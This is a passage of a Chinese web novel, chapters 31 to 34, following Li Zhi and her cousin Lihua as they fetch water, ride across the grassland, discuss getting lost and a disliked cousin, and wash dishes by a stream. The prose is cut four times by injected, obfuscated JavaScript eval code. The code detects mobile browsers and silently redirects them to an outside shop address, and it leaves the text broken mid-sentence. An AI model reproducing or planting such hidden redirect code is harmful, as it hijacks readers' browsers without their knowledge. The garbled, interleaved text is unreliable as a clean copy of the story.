;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376572|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也没有任何由于陌生导致的排斥和反感。 黎芝早早醒来的时候,甚至还是心旷神怡的。就连赖床时体验到的感觉,也无比清爽。 黎芝很少有这样早就醒来、而且神清气爽的一天了。 在京城生活的年轻人,很多都是半夜三更的时候,还在吃饭、逛夜市、甚至通宵聚会呢。 黎芝虽然不做这样的事情,但她也难免总是做出半夜三更不睡觉、熬夜看书之类的坏行为来。 京城这种地方虽然富有,却是没有“沼气”这种新奇的东西的。 蜡烛不太明亮,黎芝就用上好几支蜡烛,同时在夜晚照明。这样一来,虽然会让房间变得明亮,但却非常奢侈浪费。 现在想来,如此铺张浪费,属实有些罪过。回想起往事,黎芝都不由得感到了羞愧与内疚。 而“草房子”这里,没有蜡烛、也没有油灯,以及任何人工使用的照明设备。 应该是因为担心引发火灾吧?黎芝如此猜测。 可以照亮这里夜晚的,只有来自大自然的月光而已。 虽然用来读书之类的完全不够用,但那皎洁美丽的月光,却是令人感到心灵静谧。 朝阳也是如此。 微微泛着金色的日光,从窗户里照了进来。 这样的画面,让黎芝联想起,过去偶然目睹的、西洋风景画的色彩。 看上去亲切而又陌生,像是在梦里会看到的画面。 整理好了衣服之后,黎芝来到了到梨花的门外。 “早上好啊。”黎芝隔着门,对梨花打了招呼。 梨花的门,还没有打开。 难道梨花醒来的比自己还晚吗?黎芝觉得有些惊奇。 过了一会儿,梨花打开了草房子的门,走了出来。 “早上好啊,荔枝姐。”梨花的样子也很精神,看起来她也不是刚刚才醒来的。 “我们到哪里吃早饭?”一开口就是这样的问题,让黎芝有些不好意思,她又再问道,“还有,这里有水吗?感觉有点口渴呢……” “有水啊。”梨花说道,“荔枝姐是忍耐了很久的口渴吗?也许,昨天晚上就应该跟我说的。荔枝姐不会忍了一夜口渴吧?” “嗯……”黎芝模棱两可地以鼻音回答着。 昨天的黎芝,是觉得这么晚了说出来会给别人添麻烦,所以才不愿意说。 但今天早上,实在是太渴了。 “不要紧啦。”梨花说道,“别担心这种事情会给我添麻烦啊。我们现在打水吧。” 黎芝现在才知道,大概在自己所在房子十几步的位置,就有个水井。 但没有砌上井沿,却用木板加了盖。所以看起来很是不显眼,黎芝也没有自己发现。 “这样对待水井,真的安全吗?”黎芝感到有点后怕,她说道,“昨天,我说不定差点儿就踩上了呢。会不会掉下去啊……” “不太安全吧?”梨花漫不经心地点点头,说道,“确实就像荔枝姐说的那样。但是我们习惯了嘛,一般来说没事的吧。好啦,荔枝姐要注意点安全哦。” (这种事情……应该要在昨天告诉我啊!) 黎芝果然还是会对此感到不安。她甚至腹诽起来。 31. 第 31 章 说话间,梨花已经找到了一个与那个水井一样、一点儿也不显眼的水桶。 梨花轻松地把水桶放下去,很快就打了多半桶水上来。 “荔枝姐想现在就洗脸吗?”两人都喝过水之后,梨花说道,“还是说只想润润喉咙就好了?” “还能在这里洗脸吗?”黎芝惊讶地问道。 一开始,黎芝倒是没想洗脸这方面的事情,只是想润润干渴的嗓子而已。 当然不是因为她懒惰到连脸都不愿意洗,只是因为奔波久了的关系,难免有些麻木。 由于路上环境比较艰苦的缘故,连梳洗这种最基本的体面需求,黎芝都已经习惯忍耐了。 “当然可以哦。”梨花点点头说道,“我们多打几桶水就好了。” 对黎芝来说,这个提议当然是巨大的诱惑。 但她转念又一想,这意味着要打更多的水、也就是做更多的活儿。 虽然打水这个劳动并不算繁重,但毕竟是给梨花添麻烦,总觉得不好意思。 黎芝自己也没做过这种事。虽然看起来并不难,但这会儿也没有心情去做。 如果在这里洗脸的话,梨花或自己就要打更多的水,其实也没有必要。 所以,黎芝就问道:“梨花要在这里洗脸吗?” “不啦。”梨花说道,“我不太想现在洗脸。饭后再洗比较清爽。” “那我也不洗了。”黎芝觉得自己的决定是正确的。 只是为了自己一个人洗脸而打水的话,太麻烦了。还是算了吧。 “对了,这里想取水用水的话,只能用水桶打水井里的水吗?”黎芝说道,“那可有点麻烦啊……” 京城的人家,通常也是用井水的。但毕竟不用黎芝亲自去打,她就感觉不到这种麻烦。 梨花当着自己的面打上一桶水这件事,才让黎芝产生了“水也是非常贵重的东西”的意识。 “是的。”梨花平淡地说道,“所以,不是急用的话,我都不打水的。” “啊?这样吗?”黎芝顿时内疚起来了,她有些感激地说道,“原来……你真的是特意为了我才打水的啊?谢谢你!” “没关系,不是什么大事儿啦。”见黎芝道谢,梨花反而不好意思起来,她说道,“我喜欢到山泉或小溪小河边洗脸洗手,不太喜欢打井里的水。我们这里很多人都是这样的,但水井这种东西,就算不用,也不能没有嘛。所以,住在这里的人,家里一般也都有水井预备着呢。” “这样啊……”在河边取用水这一点,倒是符合黎芝对乡村的幻想了。 在京城生活的时候,黎芝几乎没怎么见到过山泉或是小溪小河。 在水边的体验一定很新鲜吧?她不由得好奇了起来。 梨花一会儿会不会带自己去“水边”呢?黎芝的心中不由得充满了期待。 “我们去吃饭吧,荔枝姐。”声音打破了黎芝的幻想,梨花说道,“没什么事情的话,我就要喊马过来了?” “嗯……那你喊吧。”黎芝紧张地说道,“你先喊一下它,等你喊完了,我们再说话吧。” 梨花“嗯”了一声,又吹哨了。 不过,梨花并没有在这期间说话。黎芝也没有想出什么该聊的话题。 两人就这么沉默地选择了等待。 过了一会儿,菊花青的马跑了过来。 这次虽然又要两人共乘一匹马,但黎芝已经有了经验。 “这次,我站在这里上马吧。”黎芝指着一块比自己膝盖略高一点的石头说道,“昨天在平地上马,实在是累死我了。” “咦?”梨花看懂了黎芝的想法,露出颇为惊奇的表情,她歪头说道,“还可以这样啊?” “嗯?这样有问题吗?”黎芝不太明白梨花的意思,她说道,“我觉得还好啊,虽然,我个子比你还高一些,但是我笨啊。我没有经验,身体也不够灵活,像你一样上马太费劲了。我觉得,比起像昨天那样反复试验,不如垫高自己的位置,这样上马比较容易啊。” 黎芝说的没错。她这次上马,可是比昨天容易太多了。 或许是因为,昨天第一次骑马的时候,是被余庆抱上去的关系。 所以,第二次上马的时候,她的思维才受到了局限吧。 当时,黎芝的脑子里,只在思考“如何在平地不被抱着、凭自己的力量上马”的方法而已。 受到这种限制之后,黎芝也就忘记自己还可以扩展思路,想到其他的上马方式这一点了。 要是一开始就和梨花一起骑马的话,黎芝估计就会更快想到“还可以用台子之类的东西辅助自己上马”的技巧吧。 “荔枝姐好聪明啊!”梨花想了想,感叹着说道,“明明是这么简单的事情,我居然一辈子都没有想到呢……” 梨花的表情,居然还挺认真。看起来不像在开玩笑,黎芝也不认为梨花是喜欢开玩笑的人。 “什么一辈子嘛……”黎芝哭笑不得地说道,“你才多大啊,明明连半辈子都没过去呢。这就一辈子了?太夸张了吧。” 而且,梨花难道不觉得这么说话很不吉利吗?在黎芝心灵深处,她还不由得抱有这个疑惑。 不过,这句话,黎芝终究感觉不太好意思直说出来。 结果,她就只能简单地反驳批评梨花一次而已。 “嗯……那也许不是一辈子吧。”梨花天真地说道,“但是,荔枝姐的设想,真是一个好聪明的想法啊。我都没有想到呢!” 何足道哉的想法被称赞了。黎芝并不觉得高兴,反而觉得有些羞耻尴尬。 “那应该是因为你比较灵活的关系。”黎芝苦笑道,“我这种笨手笨脚的人,就只能思考一些外力辅助自己、做到手脚灵活的人轻易就能做到的事情了嘛。” “那么,我也可以用这块石头上马吗?”梨花说道,“荔枝姐用这块石头可以方便上马的话,我想我用这块石头也可以方便上马吧?我能用吗?” “当然可以?”黎芝听得一头雾水,她说道,“我又没有这块石头的所有权。这石头是公用的、天然的东西吧,你用这个,跟我‘请示’什么呀?” 话虽这么说,但是,这石头也是“草房子”附近的东西。 在黎芝的感觉里,这种东西似乎应该属于自己家才对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376573|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 虽然,她没有研究过,大夏的律法是怎么规定这种东西的所有权的。因此,也不能确定自己的想法是否正确就是了。 “我不太确定荔枝姐的感觉嘛。”梨花有些软弱地说道,“有的人就是很小心眼的啦。自己用过、穿过的东西,别人也使用的话,就会生气。我不知道荔枝姐在这方面是否敏感,这样的话,那还是问一下为好嘛。” “我……”黎芝本来想说自己一点儿也不敏感,但转念一想,觉得还是不要这么说比较好。 虽然,梨花现在看起来是个好孩子。但毕竟才刚认识而已。 如果黎芝真的说自己不介意的话,说不定也会导致梨花真的以为自己什么都不介意,做出毫无边界感的事情的话,那就不好了。 还是先君子后小人吧。黎芝想。 梨花是个很容易让黎芝信任、放下心防的孩子。 但黎芝在过去的生活经验里,已经不习惯信任别人了。 来到“大辉山”之后,黎芝才渐渐注意到自己性格上的这一缺陷。这让她不由得有些自我厌恶,却又无法说服自己真的放下和改变。 “我对自己所拥有的东西非常敏感。”黎芝说道,“但是,如果一样东西的所有权本就不属于我的话,我就无所谓了。你记住这个规则吧。别人如果只是‘模仿’我的话,我其实并不介意。但是,谁也不许乱动我的东西,这个方面我可是很敏感的。” “这样啊。我明白啦。”梨花微笑着说道,“我当然不会擅自动荔枝姐的东西的。除非我请示过、也获得了荔枝姐的许可,我才有可能会动荔枝姐的东西。其实,我也想不出来什么情况下会动到荔枝姐的东西啦。” “不,也不用那么严格的啦。”黎芝想了想,还是决定纠正一下梨花表达的意思,她说道,“事急从权。如果有什么紧急状况的话,你不征求我的同意,也可以使用我的东西的。” “为什么?”倒是梨花这边表示了不解,她说道,“这样不是不礼貌、不尊重荔枝姐的表现了吗?” “都说了,‘事急从权’啦。”黎芝摇了摇头,说道,“事情不能总一概而论。还是要多加入自己对当时状况的判断比较好。但是,你有这样的心,我挺高兴的。” 总觉得,自己有点以小人之心度君子之腹了。 对此,黎芝虽然有点内疚,但知道梨花比自己想象中的胸怀更宽广、更有边界感、也更好相处,又觉得有些高兴。 不过,黎芝还是忍不住厌恶了一下自己的小心眼与坏脾气。 说话间,梨花也已经同样骑上了马。两人又一次共乘起来。 “那我要准备‘驱马’了哦。”梨花小心谨慎地说道,“荔枝姐记得抓稳坐好哦。” 梨花虽然是这么提醒了,但对黎芝来说其实也没有什么参考意义可言。 毕竟,为了不影响梨花骑马掌握方向,黎芝根本不敢碰缰绳。 所以,实际上只能抓或者说抱马脖子而已。 不过,这匹马非常高大强壮。在两人共乘这种情况下,也可以让连马鞍都没有的黎芝坐得很稳,所以黎芝倒是也没有感到特别不便就是了。 32. 第 32 章 “嗯,我知道了。”黎芝说道,“我现在这样就可以了。你驱马吧。” 于是,梨花就让马儿跑了起来。 在草原上策马的感觉,奇妙而又美妙。 天亮之后,草原非常青翠美丽,一望无际。与夜晚伏在马背上的感觉,完全不同。后者,在感觉上要令人不安多了。 “话说……这里是不是很容易迷路啊……”黎芝不安地问道。 在黎芝看来,草原上无论哪里,草的模样都长得差不多。 如果没有太阳等事物进行辅助的话,她连基本的方向都无法辨认。 生活在这里的人,是怎么找到想去的地方,又是怎么回家的?黎芝真难以想象。 “嗯,是挺容易迷路的。”梨花说道,“别说外地人了,就连本地人,有的人也会迷路的呢。在草原上的时候,最好不要迷路,迷路了会很麻烦的哦。” “这样啊……那真是比我想象中还要糟糕呢。”黎芝苦笑道,“虽然我已经有心理准备了,但其实,心里还是希望你能否定我的担忧啊。要是与我猜想的不同,实际上住久了就很不容易迷路,只有外地人不适应才会迷路,那就好多了。” “没办法嘛,因为这是实情啊。”梨花平稳而又爽朗地说道,“住久了的人,该迷路时也还是迷路的。因为,迷路不迷路,不是取决于在这里是否住的久、是否本地人,而是取决于这个人有没有‘绝对不要迷路’的信念与执著啊。” “与信念与执著有关吗?”黎芝有点惊讶地说道,“听起来虽然不是完全没有道理,但还是很让我感到惊讶呀。你能详细说说吗?” “就是……有些人他迷路,是因为他不想不迷路。”梨花说道,“有些人他认路,是因为他希望成为一个认路的人。这样的信念差距,使得两种人的寻路能力差距越来越大。相比之下,是否住在这里很久的本地人,倒是关系很小了。” “怎么会这样的……”黎芝还是感到很惊讶,她说道,“为什么会有人‘不想不迷路’呢?这是什么毛病?” “因为如果有的人迷路的话,心地善良的人,本着‘邻里互助’的想法,就会去找他。”梨花说道,“会找人的人,总是很擅长找人的啦。这点我也觉得很奇怪,但情况就是这样的。我们这里的人如果迷路失踪了的话,只要那种人出动,通常很快就能找到。” 梨花的话,感觉上倒是非常的反常识。 在黎芝看来,住在同一个地方的人,应该认路找路的能力,都差不多才对。 但实际上差别却那么大…… “这样吗?”黎芝很惊讶地说道,“那为什么说‘迷路了会很麻烦的’?我从你的话听来,反而觉得‘迷路一点儿也不麻烦’呢。是我理解错误的原因吗……” “因为迷路的话,就会兴师动众地出动其他人去找他啊。”梨花有点不太开心地说道,“这样一来,不是会给别人添麻烦吗?给别人添麻烦,那也是一种‘麻烦’啊。” “说得也对呢。”黎芝苦笑道,“我确实是非常讨厌给别人添麻烦的人。” 说了半天,黎芝终于明白了梨花“不想不迷路”的意思。 梨花说的意思,应该是说,有些人非常在乎“迷路就会给人添麻烦”这个问题。所以,他们会竭尽全力地避免迷路。 而其他人,虽然应该也不喜欢迷路,但因为不够抗拒迷路的关系,就被梨花称之为“不想不迷路”了。 “嗯,我猜到了,果然和我想的一样啊。”梨花的声音中带着些孩子式的笑意,她说道,“我猜到了,荔枝姐是非常不喜欢给别人添麻烦的人吧?所以,我才会建议荔枝姐不要迷路。因为这样的话,困扰的人,与其说是来找荔枝姐的人,不如说是荔枝姐本人。这样引人注目的话,荔枝姐一定会很不好受的。” 某种意义上说好厉害。梨花简直……就是所谓的“读心专家”呢。 黎芝惊讶极了。 明明梨花给人一种对事情非常浅薄、漠不关心的模样,但她却能注意到别人的深层偏好这么复杂的事情,真是让黎芝感到十分惊奇。 “对了,顺便说一下。”梨花说道,“荔枝姐,能猜到我们这里上次迷路的人是谁吗?” “这怎么能猜到呢?”黎芝一头雾水地问道,“这和大海捞针有什么区别?我怎么可能猜到呢?” (其实,岂止是大海捞针。根本是不知道在海里该捞什么……) 梨花问自己的问题,到底是什么意思?黎芝完全无法理解。 过去,自己从来没到过“大辉山”附近,又怎么可能知道“大辉山”前一段时间曾经发生过什么呢? “能猜到哦。”梨花说道,“虽然荔枝姐是第一次来‘辉山’附近,但我想说起的人,必然是荔枝姐自己也很清楚的人嘛。‘荔枝姐无法作答的题目’,我不可能会出的嘛。” “听起来倒是很有道理……”梨花所说的条件,倒是让黎芝稍稍来了一点兴致,她说道,“如果是公平的、连我这种外人也能明白的问题的话,那倒是还勉强值得一猜测呢。” “当然,就是这种问题呀。”梨花说道,“我甚至觉得,这题目都不值得用来考人。如果是荔枝姐的话,明明应该在我询问的同时回答出来的,这才合理嘛。” “为什么说‘如果是荔枝姐的话’?”黎芝对此非常不解,她说道,“在你心里的我,难道是一个非常聪明的人吗?但实际上,不是这样的啊。你误解了吧。” “我没误解。”梨花认真地说道,“荔枝姐本来就是一个非常聪明的人啊。至少,在我认识的同龄人里,荔枝姐是最聪明的了。” 梨花对黎芝的评价,还真是高呢。 这该让黎芝怎么说才好呢……她觉得有些哭笑不得。 黎芝觉得,梨花会这么想,那根本就是因为她接触到的同龄人,都太笨了的缘故吧? 抑或是,梨花对“聪明”这一条的理解,与常识有所出入。 “我真的没有你说的那么聪明……”黎芝哭笑不得,她说道,“我就是一个很普通的人。而且,因为对这地方不熟悉的关系,还会经常闹出笑话。希望你能这么看待我。不然的话,我会感觉自己的心理包袱很沉重的。” “那么,我觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376574|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 荔枝姐是对‘很普通的人’这个词儿有误解吧。”梨花很自信地说道,“先不说这个吧。荔枝姐,你想到那个迷路的人是谁了吗?” (想到了。) (虽然不知道是不是对的,但是,确实不是对这件事毫无概念和感受的状态。) 黎芝的脑子里闪过比较特别、有些奇怪的想法,她自己也不知道自己是怎么想到的。 “是‘那个人’吧?”黎芝不知道“那个人”的名字,也不方便现编一个。 但是,“那个人”就是“那个人”。黎芝是知道的。 “‘那个人’?什么啊……”但是,梨花反而没有反应过来黎芝的意思,她说道,“那个人,是哪个人啊?我没听懂呢。” “就是……”黎芝轻轻地叹了口气,说道,“就是你的舅舅舅妈、我的爸爸妈妈,之前当成亲生儿子养育的‘那个人’啊。” “啊……”梨花笑眯眯地说道,“荔枝姐说的对,就是‘那个人’啊!” “什么?还真是‘那个人’吗?”黎芝惊奇地说道,“我不过是随便一说,结果还真的‘瞎猫碰着死老鼠’了吗?” “就是这样嘛。”梨花说道,“一点儿都没错,就和荔枝姐所想的一样,上次是‘那个人’迷路了哦。” “什么笨蛋。”黎芝哭笑不得了,甚至有点同情起来,毕竟,只要一个人很弱的话,那多少都会换来他人的些许怜悯的。 当然,这怜悯,是建立在这个人不会影响自己的前提上的。 如果一个人是会因为弱小影响别人的安全的话,那别人通常就不会怜悯他、而是会对其感到反感了。 这种反感是否正确?黎芝其实并不清楚。 但是,这种对弱者的反感,的确是时常存在的真实情况。 “我就说荔枝姐特别聪明的嘛!”梨花快活地说道,“你看,随口一问这种没头没脑的问题,荔枝姐都能迅速想出答案,这哪里是不聪明的人做的出来的呢?” “嗯……”黎芝有点狼狈地说道,“我觉得可能是因为你过去认识的同龄人,都太笨了。” “那也有可能吧。”梨花说道,“但是,不管是哪种情况,这都不妨碍我觉得荔枝姐聪明呀。” “不是,我……我只是……”黎芝结结巴巴地试图否定。 黎芝觉得,梨花对聪明的定义有问题。但一时不知道怎么反驳,不过她依然对此表示不同意。 “我只是直觉比较灵敏吧。”顿了半天,黎芝才终于能说话,她觉得这种话听起来比较合理,符合自己的思路。 “并不是这样吧……”梨花不太赞同,但也没再说下去,一时沉默了下来。 听到梨花沉默下来,黎芝也一样感到尴尬。 就这样沉默地两个人在马背上共乘的话,总觉得怪怪的…… (得找个能继续说下去的话题……) “对了,虽然‘那个人’去了京城‘认祖归宗’,以后大概率跟我们不会有任何交集……”提到“那个人”,黎芝还是忍不住问道,“但我还是想知道,这个人叫什么名字?你知道且记得吗?” 33. 第 33 章 “当然知道。”梨花说道,“我们虽然关系不好,但他毕竟是我的表哥啊!” “对啊。”黎芝说道,“他是你的‘表哥’吧……虽然不知道是我的什么人。” “算‘兄弟’吧。”听起来,梨花并不怎么欣赏“那个人”,口气反而显得很嫌弃,她说道,“他叫‘栗璞’。栗子的栗,璞玉的璞。” “这是什么鬼名字……”黎芝说道,“真是‘离离原上谱,听着就离谱’。” 听到黎芝的话,梨花“噗”地轻笑了一声。 “荔枝姐讲话真是有趣。”梨花说道,“我确实在心里叫他‘离谱’来着。” “‘立仆’也可以。”黎芝说道,“站立的立,仆人的仆。在文雅的语言中,这是用来形容一个人‘立刻倒地’的意思。” “原来还有这么一层意思呀!”梨花的声音依然带着笑意,她说道,“真不愧是荔枝姐,说话果然这么有趣。” “咳……这个不属于‘有趣’的范畴吧。”黎芝感觉很难堪,尴尬地咳嗽了一声,她说道,“讥讽别人并不有趣。相反显得这个人很没趣。有趣的人,应该是很温和包容的才对。我这个人生性刻薄,虽然你不嫌弃我挺好的,但这样的人,确实配不上‘有趣’二字就是了。” “我不在乎啦,都一样。”梨花笑道,“反正荔枝姐比‘那个人’好多了。” “啊……是真的吗?”黎芝怀疑地说道,“你该不会有‘在别人面前,就说不在两人面前的人的坏话’的毛病吧?” (我说话怎么这么难听?真讨厌……) (我就不能扳着点,让自己当个讨人喜欢的人吗?) “当然不是呀。”梨花有点委屈地说道,“荔枝姐怎么会这么想我呢?我这个人一向比较脱线,不爱贬低别人的。但是,‘栗璞’这个人,确实是非常讨厌,我又没机会跟别人抱怨。直到今天,我才能有机会说出来的。难道,不该说吗……” 梨花说自己“脱线”,黎芝是信的。 这孩子在气质上,确实有种类似“大智若愚”的味道。 “该说。”黎芝说道,“好吧,是我想多了,对不起啦。” “总而言之,他就是很烦人的画吗。”梨花说道,“不说别的,就说,他在这里生活了这么久,居然连‘不迷路’都做不到,这难道不丢人吗?我对此是十分嫌弃的。” “啊?我还以为‘不迷路’是一个很稀有的特质呢。”黎芝很惊讶地说道,“至少,听你之前的描述,是这样的。” 原来,之前是自己误会了吗? 黎芝还以为,在“大辉山”这边,迷路是家常便饭呢。 “在‘辉山’不稀有啦。”梨花说道,“不然的话,每个人丢了,都会有人去找不是吗?这样一来,容易迷路的人,以及经常去找迷路的人的人,他们什么都不用做了,只要迷路或是被寻找就行了。这不荒诞吗?就像生活在船上的人,居然不会游泳一样。不是说没有这种情况,但是很难堪很丢脸的呢。” “原来是这样等同的啊……”黎芝若有所思地说道。 “所以,我觉得,荔枝姐应该也能很快就学会的。”梨花乐观地说道,“因为荔枝姐是一个非常聪明、认真、也不喜欢给人添麻烦的人。这样的人的话,一定会成为擅于找人找路的人,而不是反过来……” 说真的,梨花的话,应该是有一定道理的。但黎芝还是觉得很羞耻,她假装不放在心上。 “那……谢谢你对我的肯定了。”黎芝不安地说道,“希望我也能尽快克服这些问题,过上能在草原和草甸子上不迷路的生活。” 夸口的大话,是这么说的没错。但黎芝却十分悲观。 这里真的是待久了,而且足够聪明认真,就能自然变得不迷路的地方吗? 怎么感觉哪里都长得差不多,到处都是长长的、高高的野草…… “这不是说会就会的事情嘛……”梨花十分乐观地说道,“只要荔枝姐想学的话,两三天就能学会了。” “两三天怎么能学会?”黎芝摇了摇头,无奈地说道,“谢谢你对我的肯定,但是先不要聊这个话题吧。除非你是想教我如何在草原上辨别方向,那我会很乐意学习的。” “可我觉得就是这么简单的嘛。”梨花有点委屈地说道,“我觉得,荔枝姐根本都不需要我教,自己就能学会了。因为你每天都得待在马背上,让它们领你去每个地方的嘛,所以,应该很快就能慢慢记住每个地方的特征了。” “那个本事真是……”黎芝苦笑道,“光是听一听就觉得很难了。” “嗯……”梨花沉默下来,没有再说话。 然后,菊花青马又奔跑了一会儿,两人就又一次来到了“食堂”附近。 “早饭也在这里吃的吗?”黎芝问道,“我们家这么早就‘营业’了?” “是在这里吃的。”梨花点点头,轻松下了马之后,她说道,“荔枝姐,要不要我帮忙搬把椅子之类的过来,帮你下马?” “那个就不用啦。”黎芝听了哭笑不得,说道,“我是‘上马上不去’,不是‘下马下不来’呀。” 虽然上不去马,但从马背上往下跳,这谁都会的吧。 黎芝一边这么想,一边小心地跳了下来。 最开始落地的时候,黎芝站得不是很稳。但总算没有摔倒,调整一下站姿,很快就恢复了正常。 “话说,这里真的能吃早饭吗……”黎芝嘟囔了一句,她说道,“妈妈不应该是在看牧场吗?” “嗯……一般来说是可以的哦。”梨花说道,“一般来说,舅舅或者舅妈,至少会有一个人,在早上赶来做饭的。” “那,爸爸妈妈真辛苦啊……”黎芝又再嘟囔道,“晚上要看守牧场,白天还要从早上起来开始做饭……” 一想到这里,黎芝觉得自己肩上的担子更重了。 (真应该帮父母多分担些工作,有什么劳动是我也做得来的呢……) 黎芝沉思着,虽然一时没想出来。 正在这时,黎芝看到了余庆高大的身影。母亲正从远方慢慢朝表姐妹俩走来。 “妈妈!”黎芝很高兴地叫道。 “宝宝们好啊,这么早就起来了?”余庆笑着说道,“梨花,昨天睡得好吗?” “很好哦。”梨花点点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376575|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,说道,“舅妈,今天有什么事情需要我帮忙的吗?” “现在没有。”余庆想了想说道,“等过一段时间,吃过早饭的话,你可以带荔枝在街上溜达溜达。” “妈妈起来的好早啊。”黎芝也问道,“妈妈,今天有什么我能做的事情吗?” “你要不要种个菜?”余庆不假思索地说道,“如果你很悠闲的话,我希望你能帮我们种菜。” “啊?今天就种菜吗?那倒不是不行……”黎芝有点为难地说道,“但是,我没有种子或者芽苗可以种菜啊?” “我有。”余庆说道,“我昨天去翻了仓库里的杂物,里面有一包菜籽,但我不知道是什么菜的种子。你可以种它吗?” “是陈年的种子吗?”黎芝稍微有点不安地问道。 “算是吧。”余庆说道,“我不记得是什么时候的了。陈年的种子,是种不活的吗?” “我不知道。搞不好会不能发芽吧……”黎芝摇摇头,略带担忧地说道,“我会尽力而为的,但不一定能种植成功。” “那就这样吧。”余庆笑了笑,说道,“我真的不记得是什么时候的种子了。我只记得那肯定是某种菜的种子而已。‘死马当活马医’吧。你可以试试看,不能出芽就算了。” “我知道了。”黎芝点点头,好奇地说道,“种子在哪里呢?我要自己去找吗?” “不用了。”余庆在某个衣袋里翻出了一个纸包,直接递了过去,她说道,“话说回来,我也不知道哪里适合种植。你随便找个地方种吧,到时能找到就行了。” “啊……这样吗?”黎芝困惑地嘟囔道,“但是,我不知道哪里是属于我们家的土地呀。” “梨花知道的。你问她就行了。”余庆说道,“而且,这附近几乎都算是我们家的土地。只不过,大部分是用不上的荒地,上面只长着草罢了。” “原来这样啊……”对于土地这方面的规矩,黎芝也完全不懂,只得点头。 “舅妈舅妈,别的事情真的不需要我帮忙吗?”梨花微微歪着头,说道,“如果不立刻吃早饭的话,这期间就让我做点事儿嘛。” “你帮我洗洗碗筷?”余庆说道,“等下就来吃饭吧。” “好。”梨花立刻朝着黎芝不熟悉的某个位置走了过去。 那里有一个很大的竹筐,里面装满了银制与白瓷制的餐具。 看来不算脏,可能只是需要清洗掉一些浮灰就好了。 竹筐很大。 里面装着很多餐具,按说也很重,但梨花却一下子就抱了起来。 她的力气可能比黎芝大得多。 在京城生活的时候,黎芝一向以自己力气很大而自傲。 现在看来,当时的自己,简直是井底之蛙了。 “我也来帮忙吧。”黎芝虽然一头雾水、心不在焉,不过也明白了梨花现在正要做的事情。 虽然不擅长劳动,但洗碗这种简单的活计还是会做的。 黎芝也想和梨花一起抱着竹筐,但却被拒绝了。 “我一个人抱着就好了,两个人抬着反而费劲。”梨花满不在乎地说道。 34. 第 34 章 梨花说的话虽然有道理,但却让一旁的黎芝更加感到、自己丧失了“与对方一起行动”的意义。 结果,这样一来,黎芝就只能像条小尾巴一般、单纯地跟在梨花身后了。 身为姐姐的“威信”这种东西,感觉上也因此消失殆尽。 虽然,黎芝也不是特别在意这种威信吧,但完全没有的话,就总觉得有点害羞。 不过,这时的黎芝,也没余力去在乎这种事情了。 梨花停下来的时候,黎芝环顾四周、观察着情况。 原来,在余庆开的“食堂”附近,就有一条小河流过。 河水不宽,甚至还不到一丈。 小河只有一尺多深。 虽然水流动得不是很迅速,但看起来依然很清澈,能清楚地看到河底的石头。 遗憾的是,没有鱼在水间游动。 也许是因为,这里的水太干净了,鱼找不到什么能吃的食物吧? 黎芝第一次对“水至清则无鱼”这句成语,有了真切的体会。 表姐妹二人,就在这里,清洗起了从余庆那里拿到的碗筷等餐具来。 在洗餐具之前,黎芝还在这里顺便洗了洗脸。 之前的梨花,明明说想吃过饭再洗脸的。不过看到黎芝洗了之后,她也跟着洗了一遍。 “大家需要喝凉水时,也在这里直接喝吗?”虽然河水看起来仿佛一直很干净,但黎芝还是感到有些不安,她问道,“我们在这里洗东西的话,会不会污染河水啊?” 其实,餐具并不是如黎芝最初想象的那样、直接在河水里洗的。 在距离河水有一尺多的位置,有一个直径约为两三尺的沙石坑,里面蓄满了水。 黎芝听说过,只要在河水附近挖坑,里面就会慢慢渗出水,直到把水坑填满这个传说。 不过,她是第一次亲眼看到这样的景象。 也许是因为陌生与新鲜感的缘故,黎芝目睹的时候,对此感到有些神奇。 “那肯定多少会‘污染’一点儿的呀。”梨花无奈地摇摇头,说道,“其实,应该打一盆水,在水里洗,然后再把水泼到土地上的。但是,这些碗筷本身就已经很干净了,不过是在河里洗洗上面的浮灰而已,应该问题不大吧?” 梨花的态度,到底是实话实说,还是自欺欺人? 黎芝不太确定,姑且就当成是梨花说的那么一回事吧。 “这样吗……那大家是怎么在河边洗衣服的呢?”黎芝疑惑地问道。 